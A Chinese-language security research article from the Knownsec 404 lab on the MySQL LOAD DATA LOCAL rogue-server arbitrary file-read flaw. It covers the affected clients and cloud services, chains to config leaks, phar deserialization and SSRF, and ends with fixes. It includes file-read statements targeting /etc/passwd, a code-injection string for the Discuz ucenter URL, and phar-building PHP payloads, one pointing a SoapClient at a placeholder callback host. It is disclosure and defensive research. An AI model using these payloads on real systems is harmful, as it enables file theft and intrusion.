作者:LoRexxar@知道創宇404實驗室 & Dawu@知道創宇404實驗室
英文版本:http://www.bjnorthway.com/1113/
這應該是一個很早以前就爆出來的漏洞,而我見到的時候是在TCTF2018 final線下賽的比賽中,是被 Dragon Sector 和 Cykor 用來非預期h4x0r's club這題的一個技巧。
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
在后來的研究中,和@Dawu的討論中頓時覺得這應該是一個很有趣的trick,在逐漸追溯這個漏洞的過去的過程中,我漸漸發現這個問題作為mysql的一份feature存在了很多年,從13年就有人分享這個問題。
- Database Honeypot by design (2013 8月 Presentation from Yuri Goltsev)
- Rogue-MySql-Server Tool (2013年 9月 MySQL fake server to read files of connected clients)
- Abusing MySQL LOCAL INFILE to read client files (2018年4月23日)
在圍繞這個漏洞的挖掘過程中,我們不斷地發現新的利用方式,所以將其中大部分的發現都總結并準備了議題在CSS上分享,下面讓我們來一步步分析。
Load data infile
load data infile是一個很特別的語法,熟悉注入或者經常打CTF的朋友可能會對這個語法比較熟悉,在CTF中,我們經常能遇到沒辦法load_file讀取文件的情況,這時候唯一有可能讀到文件的就是load data infile,一般我們常用的語句是這樣的:
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
mysql server會讀取服務端的/etc/passwd然后將數據按照'\n'分割插入表中,但現在這個語句同樣要求你有FILE權限,以及非local加載的語句也受到secure_file_priv的限制
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
如果我們修改一下語句,加入一個關鍵字local。
mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
Query OK, 11 rows affected, 11 warnings (0.01 sec)
Records: 11 Deleted: 0 Skipped: 0 Warnings: 11
加了local之后,這個語句就成了,讀取客戶端的文件發送到服務端,上面那個語句執行結果如下

很顯然,這個語句是不安全的,在mysql的文檔里也充分說明了這一點
https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
在mysql文檔中的說到,服務端可以要求客戶端讀取有可讀權限的任何文件。
mysql認為客戶端不應該連接到不可信的服務端。

我們今天的這個問題,就是圍繞這個基礎展開的。
構造惡意服務端
在思考明白了前面的問題之后,核心問題就成了,我們怎么構造一個惡意的mysql服務端。
在搞清楚這個問題之前,我們需要研究一下mysql正常執行鏈接和查詢的數據包結構。
1、greeting包,服務端返回了banner,其中包含mysql的版本

2、客戶端登錄請求

3、然后是初始化查詢,這里因為是phpmyadmin所以初始化查詢比較多

4、load file local
由于我的環境在windows下,所以這里讀取為C:/Windows/win.ini,語句如下
load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';
首先是客戶端發送查詢

然后服務端返回了需要的路徑

然后客戶端直接把內容發送到了服務端

看起來流程非常清楚,而且客戶端讀取文件的路徑并不是從客戶端指定的,而是發送到服務端,服務端制定的。
原本的查詢流程為
客戶端:我要把win.ini插入test表中
服務端:我要你的win.ini內容
客戶端:win.ini的內容如下....
假設服務端由我們控制,把一個正常的流程篡改成如下
客戶端:我要test表中的數據
服務端:我要你的win.ini內容
客戶端:win.ini的內容如下???
上面的第三句究竟會不會執行呢?
讓我們回到mysql的文檔中,文檔中有這么一句話:

服務端可以在任何查詢語句后回復文件傳輸請求,也就是說我們的想法是成立的
在深入研究漏洞的過程中,不難發現這個漏洞是否成立在于Mysql client端的配置問題,而經過一番研究,我發現在mysql登錄驗證的過程中,會發送客戶端的配置。

在greeting包之后,客戶端就會鏈接并試圖登錄,同時數據包中就有關于是否允許使用load data local的配置,可以從這里直白的看出來客戶端是否存在這個問題(這里返回的客戶端配置不一定是準確的,后面會提到這個問題)。
poc
在想明白原理之后,構建惡意服務端就變得不那么難了,流程很簡單 1.回復mysql client一個greeting包 2.等待client端發送一個查詢包 3.回復一個file transfer包
這里主要是構造包格式的問題,可以跟著原文以及各種文檔完成上述的幾次查詢.
值得注意的是,原作者給出的poc并沒有適配所有的情況,部分mysql客戶端會在登陸成功之后發送ping包,如果沒有回復就會斷開連接。也有部分mysql client端對greeting包有較強的校驗,建議直接抓包按照真實包內容來構造。
- https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake
- https://dev.mysql.com/doc/internals/en/com-query-response.html
原作者給出的poc
https://github.com/Gifts/Rogue-MySql-Server
演示
這里用了一臺騰訊云做服務端,客戶端使用phpmyadmin連接


我們成功讀取了文件。
影響范圍
底層應用
在這個漏洞到底有什么影響的時候,我們首先必須知道到底有什么樣的客戶端受到這個漏洞的威脅。
- mysql client (pwned)
- php mysqli (pwned,fixed by 7.3.4)
- php pdo (默認禁用)
- python MySQLdb (pwned)
- python mysqlclient (pwned)
- java JDBC Driver (pwned,部分條件下默認禁用)
- navicat (pwned)
探針
在深入挖掘這個漏洞的過程中,第一時間想到的利用方式就是mysql探針,但可惜的是,在測試了市面上的大部分探針后發現大部分的探針連接之后只接受了greeting包就斷開連接了,沒有任何查詢,盡職盡責。
- 雅黑PHP探針 失敗
- iprober2 探針 失敗
- PHP探針 for LNMP一鍵安裝包 失敗
- UPUPW PHP 探針 失敗
- ...
云服務商 云數據庫 數據遷移服務

以上漏洞均在2018年報送官方并遵守漏洞紕漏原則
國內
- 騰訊云 DTS 失敗,禁用Load data local
- 阿里云 RDS 數據遷移失敗,禁用Load data local
- 華為云 RDS DRS服務 成功


- 京東云 RDS不支持遠程遷移功能,分布式關系數據庫未開放
- UCloud RDS不支持遠程遷移功能,分布式關系數據庫不能對外數據同步
- QiNiu云 RDS不支持遠程遷移功能
- 新睿云 RDS不支持遠程遷移功能
- 網易云 RDS 外部實例遷移 成功

- 金山云 RDS DTS數據遷移 成功


- 青云Cloud RDS 數據導入 失敗,禁用load data local
- 百度Cloud RDS DTS 成功

國際云服務商
- Google could SQL數據庫遷移失敗,禁用Load data infile
- AWS RDS DMS服務 成功


Excel online sql查詢
之前的一篇文章中提到過,在Excel中一般有這樣一個功能,從數據庫中同步數據到表格內,這樣一來就可以通過上述方式讀取文件。
受到這個思路的啟發,我們想到可以找online的excel的這個功能,這樣就可以實現任意文件讀取了。
- WPS failed(沒找到這個功能)
- Microsoft excel failed(禁用了infile語句)
- Google 表格 (原生沒有這個功能,但卻支持插件,下面主要說插件)
- Supermetrics pwned


- Advanced CFO Solutions MySQL Query failed
- SeekWell failed
- Skyvia Query Gallery failed
- database Borwser failed
- Kloudio pwned

拓展?2RCE!
拋開我們前面提的一些很特殊的場景下,我們也要討論一些這個漏洞在通用場景下的利用攻擊鏈。
既然是圍繞任意文件讀取來討論,那么最能直接想到的一定是有關配置文件的泄露所導致的漏洞了。
任意文件讀 with 配置文件泄露
在Discuz x3.4的配置中存在這樣兩個文件
config/config_ucenter.php
config/config_global.php
在dz的后臺,有一個ucenter的設置功能,這個功能中提供了ucenter的數據庫服務器配置功能,通過配置數據庫鏈接惡意服務器,可以實現任意文件讀取獲取配置信息。

配置ucenter的訪問地址。
原地址: http://localhost:8086/upload/uc_server
修改為: http://localhost:8086/upload/uc_server\');phpinfo();//
當我們獲得了authkey之后,我們可以通過admin的uid以及鹽來計算admin的cookie。然后用admin的cookie以及UC_KEY來訪問即可生效

任意文件讀 to 反序列化
2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper議題,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。
在該議題中提到,在PHP中存在一個叫做Stream API,通過注冊拓展可以注冊相應的偽協議,而phar這個拓展就注冊了phar://這個stream wrapper。
在我們知道創宇404實驗室安全研究員seaii曾經的研究(http://www.bjnorthway.com/680/)中表示,所有的文件函數都支持stream wrapper。

深入到函數中,我們可以發現,可以支持steam wrapper的原因是調用了
stream = php_stream_open_wrapper_ex(filename, "rb" ....);
從這里,我們再回到mysql的load file local語句中,在mysqli中,mysql的讀文件是通過php的函數實現的
https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52
if (PG(open_basedir)) {
if (php_check_open_basedir_ex(filename, 0) == -1) {
strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");
info->error_no = CR_UNKNOWN_ERROR;
DBG_RETURN(1);
}
}
info->filename = filename;
info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);
也同樣調用了php_stream_open_wrapper_ex函數,也就是說,我們同樣可以通過讀取phar文件來觸發反序列化。
復現
首先需要一個生成一個phar
pphar.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //設置stub
$o = new A();
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>
使用該文件生成一個phar.phar
然后我們模擬一次查詢
test.php
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');
// file_get_contents('phar://./phar.phar');
圖中我們只做了select 1查詢,但我們偽造的evil mysql server中驅使mysql client去做load file local查詢,讀取了本地的
phar://./phar.phar
成功觸發反序列化

反序列化 to RCE
當一個反序列化漏洞出現的時候,我們就需要從源代碼中去尋找合適的pop鏈,建立在pop鏈的利用基礎上,我們可以進一步的擴大反序列化漏洞的危害。
php序列化中常見的魔術方法有以下 - 當對象被創建的時候調用:construct - 當對象被銷毀的時候調用:destruct - 當對象被當作一個字符串使用時候調用:toString - 序列化對象之前就調用此方法(其返回需要是一個數組):sleep - 反序列化恢復對象之前就調用此方法:wakeup - 當調用對象中不存在的方法會自動調用此方法:call
配合與之相應的pop鏈,我們就可以把反序列化轉化為RCE。
dedecms 后臺反序列化漏洞 to SSRF
dedecms 后臺,模塊管理,安裝UCenter模塊。開始配置

首先需要找一個確定的UCenter服務端,可以通過找一個dz的站來做服務端。

然后就會觸發任意文件讀取,當然,如果讀取文件為phar,則會觸發反序列化。
我們需要先生成相應的phar
<?php
class Control
{
var $tpl;
// $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
public $dsql;
function __construct(){
$this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));
}
function __destruct() {
unset($this->tpl);
$this->dsql->Close(TRUE);
}
}
@unlink("dedecms.phar");
$phar = new Phar("dedecms.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭
$o = new Control();
$phar->setMetadata($o); //將自定義meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>
然后我們可以直接通過前臺上傳頭像來傳文件,或者直接后臺也有文件上傳接口,然后將rogue mysql server來讀取這個文件
phar://./dedecms.phar/test.txt
監聽5555可以收到

ssrf進一步可以攻擊redis等拓展攻擊面,就不多說了。
部分CMS測試結果
| CMS名 | 影響版本 | 是否存在mysql任意文件讀取 | 是否有可控的MySQL服務器設置 | 是否有可控的反序列化 | 是否可上傳phar | 補丁 |
|---|---|---|---|---|---|---|
| phpmyadmin | < 4.8.5 | 是 | 是 | 是 | 是 | 補丁 |
| Dz | 未修復 | 是 | 是 | 否 | None | None |
| drupal | None | 否(使用PDO) | 否(安裝) | 是 | 是 | None |
| dedecms | None | 是 | 是(ucenter) | 是(ssrf) | 是 | None |
| ecshop | None | 是 | 是 | 否 | 是 | None |
| 禪道 | None | 否(PDO) | 否 | None | None | None |
| phpcms | None | 是 | 是 | 是(ssrf) | 是 | None |
| 帝國cms | None | 是 | 是 | 否 | None | None |
| phpwind | None | 否(PDO) | 是 | None | None | None |
| mediawiki | None | 是 | 否(后臺沒有修改mysql配置的方法) | 是 | 是 | None |
| Z-Blog | None | 是 | 否(后臺沒有修改mysql配置的方法) | 是 | 是 | None |
修復方式
對于大多數mysql的客戶端來說,load file local是一個無用的語句,他的使用場景大多是用于傳輸數據或者上傳數據等。對于客戶端來說,可以直接關閉這個功能,并不會影響到正常的使用。
具體的關閉方式見文檔 - https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
對于不同服務端來說,這個配置都有不同的關法,對于JDBC來說,這個配置叫做allowLoadLocalInfile
在php的mysqli和mysql兩種鏈接方式中,底層代碼直接決定了這個配置。

這個配置是PHP_INI_SYSTEM,在php的文檔中,這個配置意味著Entry can be set in php.ini or httpd.conf。
所以只有在php.ini中修改mysqli.allow_local_infile = Off就可以修復了。
在php7.3.4的更新中,mysqli中這個配置也被默認修改為關閉

可惜在不再更新的舊版本mysql5.6中,無論是mysql還是mysqli默認都為開啟狀態。
現在的代碼中也可以通過mysqli_option,在鏈接前配置這個選項。
http://php.net/manual/zh/mysqli.options.php

比較有趣的是,通過這種方式修復,雖然禁用了allow_local_infile,但是如果使用wireshark抓包卻發現allow_local_infile仍是啟動的(但是無效)。
在舊版本的phpmyadmin中,先執行了mysqli_real_connect,然后設置mysql_option,這樣一來allow_local_infile實際上被禁用了,但是在發起鏈接請求時中allow_local_infile還沒有被禁用。
實際上是因為mysqli_real_connect在執行的時候,會初始化allow_local_infile。在php代碼底層mysqli_real_connect實際是執行了mysqli_common_connect。而在mysqli_common_connect的代碼中,設置了一次allow_local_infile。

如果在mysqli_real_connect之前設置mysql_option,其allow_local_infile的配置會被覆蓋重寫,其修改就會無效。
phpmyadmin在1月22日也正是通過交換兩個函數的相對位置來修復了該漏洞。 https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f
說在最后
這是一個針對mysql feature的攻擊模式,思路非常有趣,就目前而言在mysql層面沒法修復,只有在客戶端關閉了這個配置才能避免印象。雖然作為攻擊面并不是很廣泛,但可能針對一些特殊場景的時候,可以特別有效的將一個正常的功能轉化為任意文件讀取,在拓展攻擊面上非常的有效。
詳細的攻擊場景這里就不做假設了,危害還是比較大的。
REF
- http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
- https://lightless.me/archives/read-mysql-client-file.html
- https://dev.mysql.com/doc/refman/8.0/en/load-data.html
- https://dev.mysql.com/doc/refman/8.0/en/load-data.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1112/
暫無評論